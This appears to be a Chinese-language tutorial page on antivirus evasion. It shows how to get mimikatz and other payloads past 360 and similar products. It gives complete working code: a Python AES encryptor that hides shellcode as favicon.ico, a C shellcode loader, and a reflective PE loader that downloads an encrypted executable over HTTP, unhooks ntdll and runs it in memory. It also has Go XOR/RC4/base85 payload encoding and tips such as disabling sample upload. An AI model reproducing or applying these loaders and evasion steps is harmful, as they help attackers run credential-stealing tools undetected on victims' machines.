跳到主要内容

免杀测试

杀软查杀注意事项

当我们要测试没有做反沙箱的马儿时,我们需要先将杀软的自动上传功能和用户体验计划之类的给关闭。

image-20231007182520150

image-20231007182602186

image-20231007182747947

pyinstaller打包姿势

有些使用pyinstaller打包的项目大多都是-Fw就直接打包了,这里可以尝试修改一些参数,达到再次免杀的效果

pyinstaller moon_kill.py -Fw --key=safe --clean  #常规打包

#添加--onefile参数,去掉-F,达到再次免杀效果(三件套)
pyinstaller moon_kill.py --key=safe --clean --onefile -w

--onefile

image-20231007182021317

添加--onefile

image-20231007182303564

360QVM万金油绕过

当360报毒提示病毒类型为QVM20时,我们可以使用以下项目来修改马儿的资源特征,达到再次免杀的效果

https://github.com/S9MF/my_script_tools/blob/main/360QVM_bypass-public/README.md

内网渗透工具免杀

内网渗透时,很多工具被杀软标记,需要进行一些操作bypassAV,这里以mimikatz为例:

方式一:

总结:将xxx.exe转换为shellcode(pe2shellcode)→ 加密shellcode保存为资源格式或其他格式(dat) → 使用免杀加载器加载程序

先使用pe2shc将exe转换为shellcode

pe2shc.exe mimikatz.exe mimi.txt

image-20231007191454274

再下载加载器项目https://github.com/snnxyss/In-Swor,将mimi.txt放到config目录下。利用提供的py脚本将mimi.txt中的shellcode进行加密并生成bat

image-20231007192005303

运行1.py后生成mimi.dat,修改payload.ini内容为./config/mimi.dat,运行项目中exe即可运行

image-20231007192247545

image-20231007192344011

实际测试原项目资源360已无,可以参考上面360QVM万金油绕过来实现bypass(改资源图标)

image-20231007193518701

修改后

image-20231007194311343

image-20231007193628396

如果不用这个加载器项目的话也可以自行进行加密shellcode,并自行编译加载器

aes.py

import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
padding = (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
return s + padding.encode()

def aesenc(plaintext, key):
k = hashlib.sha256(key).digest()
iv = (16 * '\x00').encode()
plaintext = pad(plaintext)
cipher = AES.new(k, AES.MODE_CBC, iv)

return cipher.encrypt(bytes(plaintext))


try:
plaintext = open(sys.argv[1], "rb").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()

ciphertext = aesenc(plaintext, KEY)
open("favicon.ico",'wb').write(ciphertext)

KEY_str = KEY.decode('latin-1')
print('AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')

shellcode loader

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#include <shlwapi.h>
#include <winuser.h>
#include <psapi.h>

#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shlwapi.lib")

#include "resource.h"


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, payload, &payload_len)) {
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}



int main() {
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

unsigned char* payload;
unsigned int payload_len;

HGLOBAL resHandle = NULL;
HRSRC res;

char key[] = { 0x80, 0x79, 0xea, 0xa8, 0xfc, 0xe4, 0x64, 0x6b, 0x17, 0x79, 0xa0, 0x7a, 0x4e, 0x5f, 0xc3, 0x91 };


res = FindResource(NULL, MAKEINTRESOURCE(IDR_FAVICON1), RT_RCDATA);
if (res == NULL) {
DWORD errorCode = GetLastError();
printf("Could not find resource! Error code: %d\n", errorCode);
return 0;
}
resHandle = LoadResource(NULL, res);
payload = (unsigned char*)LockResource(resHandle);
payload_len = SizeofResource(NULL, res);

exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

RtlMoveMemory(exec_mem, payload, payload_len);

AESDecrypt((char*)exec_mem, payload_len, key, sizeof(key));

rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READWRITE, &oldprotect);

if (rv != 0) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

方式二:

总结:先将exe程序文件进行AES加密(分别生成encrypt.bin和key.bin) --> 在内存中加载远程AES加密的PE,进行解密并运行

新建aes.py文件,内容如下:

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib

def AESencrypt(plaintext, key):
k = hashlib.sha256(KEY).digest()
iv = 16 * b'\x00'
plaintext = pad(plaintext, AES.block_size)
cipher = AES.new(k, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext)
return ciphertext,key

def dropFile(key, ciphertext):
with open("encrypt.bin", "wb") as fc:
fc.write(ciphertext)
with open("key.bin", "wb") as fk:
fk.write(key)
#print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
#print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')


try:
file = open(sys.argv[1], "rb")
content = file.read()
except:
print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
sys.exit()


KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)

dropFile(KEY,ciphertext)

编译PEload

#define _CRT_RAND_S
#include <Windows.h>
#include <stdio.h>
#include <vector>
#include <psapi.h>
#include <winternl.h>
#include <winhttp.h>
#include <wincrypt.h>
#include <limits>
#include <stdlib.h>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 )
#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 )

#pragma comment (lib, "crypt32.lib")
#pragma comment(lib, "winhttp")

#pragma warning (disable: 4996)
#define _CRT_SECURE_NO_WARNINGS

#pragma comment(lib, "ntdll")

EXTERN_C NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

using MyNtMapViewOfSection = NTSTATUS(NTAPI*)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);




typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY;



struct DATA {

LPVOID data;
size_t len;

};


void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
printf("Failed in CryptCreateHash (%u)\n", GetLastError());
return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
printf("Failed in CryptHashData (%u)\n", GetLastError());
return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
return;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
printf("Failed in CryptDecrypt (%u)\n", GetLastError());
return;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

}


DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {

DATA data;
std::vector<unsigned char> buffer;
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);


// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, whost,
port, 0);
else
printf("Failed in WinHttpConnect (%u)\n", GetLastError());

// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
NULL);
else
printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());

// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
else
printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());

// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);
else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());

// Keep checking for data until there is nothing left.
if (bResults)
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());

// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);

if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.\n", GetLastError());
else {

buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);

}
delete[] pszOutBuffer;
}

} while (dwSize > 0);

if (buffer.empty() == TRUE)
{
printf("Failed in retrieving the Shellcode");
}

// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());

// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

size_t size = buffer.size();

char* bufdata = (char*)malloc(size);
for (int i = 0; i < buffer.size(); i++) {
bufdata[i] = buffer[i];
}
data.data = bufdata;
data.len = size;
return data;

}


//cmdline args vars
BOOL hijackCmdline = FALSE;
char* sz_masqCmd_Ansi = NULL;
char* sz_masqCmd_ArgvAnsi[100];
wchar_t* sz_masqCmd_Widh = NULL;
wchar_t* sz_masqCmd_ArgvWidh[100];
wchar_t** poi_masqArgvW = NULL;
char** poi_masqArgvA = NULL;
int int_masqCmd_Argc = 0;
struct MemAddrs* pMemAddrs = NULL;
DWORD dwTimeout = 0;

//PE vars
BYTE* pImageBase = NULL;
IMAGE_NT_HEADERS* ntHeader = NULL;


//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT-------------

LPWSTR hookGetCommandLineW()
{
//BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinew");
return sz_masqCmd_Widh;
}

LPSTR hookGetCommandLineA()
{
//BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinea");
return sz_masqCmd_Ansi;
}

char*** __cdecl hook__p___argv(void)
{
//BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argv");
return &poi_masqArgvA;
}

wchar_t*** __cdecl hook__p___wargv(void)
{

//BeaconPrintf(CALLBACK_OUTPUT, "called: __p___wargv");
return &poi_masqArgvW;
}

int* __cdecl hook__p___argc(void)
{
//BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argc");
return &int_masqCmd_Argc;
}

int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless)
{
//BeaconPrintf(CALLBACK_OUTPUT, "called __wgetmainargs");
*_Argc = int_masqCmd_Argc;
*_Argv = poi_masqArgvW;

return 0;
}

int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless)
{
//BeaconPrintf(CALLBACK_OUTPUT, "called __getmainargs");
*_Argc = int_masqCmd_Argc;
*_Argv = poi_masqArgvA;

return 0;
}

_onexit_t __cdecl hook_onexit(_onexit_t function)
{
//BeaconPrintf(CALLBACK_OUTPUT, "called onexit!\n");
return 0;
}

int __cdecl hookatexit(void(__cdecl* func)(void))
{
//BeaconPrintf(CALLBACK_OUTPUT, "called atexit!\n");
return 0;
}

int __cdecl hookexit(int status)
{
//BeaconPrintf(CALLBACK_OUTPUT, "Exit called!\n");
//_cexit() causes cmd.exe to break for reasons unknown...
ExitThread(0);
return 0;
}

void __stdcall hookExitProcess(UINT statuscode)
{
//BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!\n");
ExitThread(0);
}
void masqueradeCmdline()
{
//Convert cmdline to widestring
int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0);
sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size);

//Create widestring array of pointers
poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc);

//Manual function equivalent for CommandLineToArgvA
int retval;
int memsize = int_masqCmd_Argc * sizeof(LPSTR);
for (int i = 0; i < int_masqCmd_Argc; ++i)
{
retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL);
memsize += retval;
}

poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize);

int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR);
LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR);
for (int i = 0; i < int_masqCmd_Argc; ++i)
{
retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL);
poi_masqArgvA[i] = buffer;
buffer += retval;
bufLen -= retval;
}

hijackCmdline = TRUE;
}


//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array
void freeargvA(char** array, int Argc)
{
//Wipe cmdline args from beacon memory
for (int i = 0; i < Argc; i++)
{
memset(array[i], 0, strlen(array[i]));
}
LocalFree(array);
}

//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN
void freeargvW(wchar_t** array, int Argc)
{
//Wipe cmdline args from beacon memory
for (int i = 0; i < Argc; i++)
{
memset(array[i], 0, wcslen(array[i]) * 2);
}
LocalFree(array);
}


char* GetNTHeaders(char* pe_buffer)
{
if (pe_buffer == NULL) return NULL;

IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer;
if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
const LONG kMaxOffset = 1024;
LONG pe_offset = idh->e_lfanew;
if (pe_offset > kMaxOffset) return NULL;
IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset);
if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL;
return (char*)inh;
}

IMAGE_DATA_DIRECTORY* GetPEDirectory(PVOID pe_buffer, size_t dir_id)
{
if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;

char* nt_headers = GetNTHeaders((char*)pe_buffer);
if (nt_headers == NULL) return NULL;

IMAGE_DATA_DIRECTORY* peDir = NULL;

IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers;
peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]);

if (peDir->VirtualAddress == NULL) {
return NULL;
}
return peDir;
}

bool RepairIAT(PVOID modulePtr)
{
IMAGE_DATA_DIRECTORY* importsDir = GetPEDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (importsDir == NULL) return false;

size_t maxSize = importsDir->Size;
size_t impAddr = importsDir->VirtualAddress;

IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL;
size_t parsedSize = 0;

for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr);

if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break;
LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name);

size_t call_via = lib_desc->FirstThunk;
size_t thunk_addr = lib_desc->OriginalFirstThunk;
if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk;

size_t offsetField = 0;
size_t offsetThunk = 0;
while (true)
{
IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via);
IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr);

if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64)
{
size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF));
fieldThunk->u1.Function = addr;
}

if (fieldThunk->u1.Function == NULL) break;

if (fieldThunk->u1.Function == orginThunk->u1.Function) {

PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData);
LPSTR func_name = (LPSTR)by_name->Name;

size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name);


if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0)
{
fieldThunk->u1.Function = (size_t)hookGetCommandLineA;
}
else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0)
{
fieldThunk->u1.Function = (size_t)hookGetCommandLineW;
}
else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0)
{
fieldThunk->u1.Function = (size_t)hook__wgetmainargs;
}
else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0)
{
fieldThunk->u1.Function = (size_t)hook__getmainargs;
}
else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0)
{
fieldThunk->u1.Function = (size_t)hook__p___argv;
}
else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0)
{
fieldThunk->u1.Function = (size_t)hook__p___wargv;
}
else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0)
{
fieldThunk->u1.Function = (size_t)hook__p___argc;
}
else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0))
{
fieldThunk->u1.Function = (size_t)hookexit;
}
else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0)
{
fieldThunk->u1.Function = (size_t)hookExitProcess;
}
else
fieldThunk->u1.Function = addr;

}
offsetField += sizeof(IMAGE_THUNK_DATA);
offsetThunk += sizeof(IMAGE_THUNK_DATA);
}
}
return true;
}

void PELoader(char* data, DWORD datasize)
{

masqueradeCmdline();

unsigned int chksum = 0;
for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; };

BYTE* pImageBase = NULL;
LPVOID preferAddr = 0;
DWORD OldProtect = 0;

IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data);
if (!ntHeader) {
exit(0);
}

IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC);
preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase;


HMODULE dll = LoadLibraryA("ntdll.dll");
((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase);

pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pImageBase) {
if (!relocDir) {
exit(0);
}
else {
pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pImageBase)
{
exit(0);
}
}
}

// FILL the memory block with PEdata
ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase;
memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders);

IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS));
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
{
memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData);
}

// Fix the PE Import addr table
RepairIAT(pImageBase);

// AddressOfEntryPoint
size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint;

EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0);

}




LPVOID getNtdll() {

LPVOID pntdll = NULL;

//Create our suspended process
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

if (!pi.hProcess)
{
printf("[-] Error creating process\r\n");
return NULL;
}

//Get base address of NTDLL
HANDLE process = GetCurrentProcess();
MODULEINFO mi;
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));


pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage);
SIZE_T dwRead;
BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead);
if (!bSuccess) {
printf("Failed in reading ntdll (%u)\n", GetLastError());
return NULL;
}


TerminateProcess(pi.hProcess, 0);
return pntdll;
}




BOOL Unhook(LPVOID cleanNtdll) {

char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 };

HANDLE hNtdll = GetModuleHandleA(nt);
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew);
int i;


// find .text section
for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i));

char txt[] = { '.','t','e','x','t', 0 };

if (!strcmp((char*)sectionHdr->Name, txt)) {

// prepare ntdll.dll memory region for write permissions.
BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress),
sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!ProtectStatus1) {
printf("Failed to change the protection (%u)\n", GetLastError());
return FALSE;
}

// copy .text section from the mapped ntdll to the hooked one
memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);


// restore original protection settings of ntdll
BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress),
sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
if (!ProtectStatus2) {
printf("Failed to change the protection back (%u)\n", GetLastError());
return FALSE;
}

}
}

return TRUE;

}


int main(int argc, char** argv) {

if (argc != 5) {
printf("[+] Usage: %s <Host> <Port> <Cipher> <Key>\n", argv[0]);
return 1;
}

char* host = argv[1];


DWORD port = atoi(argv[2]);


char* pe = argv[3];

char* key = argv[4];

const size_t cSize1 = strlen(host) + 1;
wchar_t* whost = new wchar_t[cSize1];
mbstowcs(whost, host, cSize1);


const size_t cSize2 = strlen(pe) + 1;
wchar_t* wpe = new wchar_t[cSize2];
mbstowcs(wpe, pe, cSize2);

const size_t cSize3 = strlen(key) + 1;
wchar_t* wkey = new wchar_t[cSize3];
mbstowcs(wkey, key, cSize3);



printf("\n\n[+] Get AES Encrypted PE from %s:%d\n", host, port);
DATA PE = GetData(whost, port, wpe);
if (!PE.data) {
printf("[-] Failed in getting AES Encrypted PE\n");
return -1;
}

printf("\n[+] Get AES Key from %s:%d\n", host, port);
DATA keyData = GetData(whost, port, wkey);
if (!keyData.data) {
printf("[-] Failed in getting key\n");
return -2;
}
printf("\n[+] AES PE Address : %p\n", PE.data);
printf("\n[+] AES Key Address : %p\n", keyData.data);

printf("\n[+] Decrypt the PE \n");
DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len);
printf("\n[+] PE Decrypted\n");

// Fixing command line
sz_masqCmd_Ansi = (char*)"whatEver";

printf("\n[+] Loading and Running PE\n");
PELoader((char*)PE.data, PE.len);

printf("\n[+] Finished\n");


return 0;
}

运行python aes.py mimikatz.exe生成两个文件encrypt.bin和key.bin,将这两个文件放到可远程加载的机器上,这里测试就直接在本机上开web服务

python -m http.server 81

使用前面编译的peload.exe远程加载程序

peload.exe 127.0.0.1 81 encrypt.bin key.bin

image-20231007201530294

直接编译的加载器已经360QVM了,可以再使用方式一上面的方式去bypass

image-20231007201907343

改资源特征

image-20231007202128615

image-20231007202740471

常见加密免杀

go环境

安装好go之后,添加相应依赖

set GOPROXY=https://goproxy.cn,direct
go install mvdan.cc/garble@latest
go mod init 1
go get github.com/darkwyrm/b85
go get github.com/gonutz/ide

base85+XOR+RC4+hex加密

先对payload进行hex处理

package main

import (
"crypto/rc4"
"encoding/hex"
"fmt"

"github.com/eknkc/basex"
)

func main() {
key := []byte("demaxiya")
message := "c payload"

// XOR 操作
xordMessage := make([]byte, len(message))
for i := 0; i < len(message); i++ {
xordMessage[i] = message[i] ^ 0xff
}

// RC4 加密
cipher, _ := rc4.NewCipher(key)
rc4Message := make([]byte, len(xordMessage))
cipher.XORKeyStream(rc4Message, xordMessage)

// 转为十六进制
hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
n := hex.Encode(hexCiphertext, rc4Message)
hexCiphertext = hexCiphertext[:n]

// Base85 编码
base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
encodedMessage := base85.Encode([]byte(hexCiphertext))

fmt.Println(encodedMessage)
}

#若无依赖,拉取即可 go mod init example.com/m/v2 or go mod init example.com/m go mod tidy